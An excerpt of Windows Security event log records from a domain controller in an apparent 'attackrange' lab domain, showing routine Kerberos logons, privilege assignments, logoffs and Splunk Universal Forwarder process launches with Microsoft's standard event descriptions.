- Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51514 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:18:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256392 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3FAACE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:19:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256395 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1034 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:19:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256397 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc2c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:19:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256396 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x132c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:19:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256398 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7ac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:19:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256399 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3a8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:19:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256400 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc30 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:19:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256401 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10b4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:19:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256404 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3FE051 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:19:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256403 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3FE051 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51527 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:19:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256402 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3FE051 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:20:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256405 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x340 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:20:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256407 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa88 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:20:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256406 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd58 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:20:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256408 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4d0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:20:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256409 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf04 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:20:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256410 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc54 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:20:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256411 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc50 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:20:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256414 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x401629 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:20:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256413 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x401629 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51540 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:20:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256412 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x401629 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:21:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256415 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb8c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe 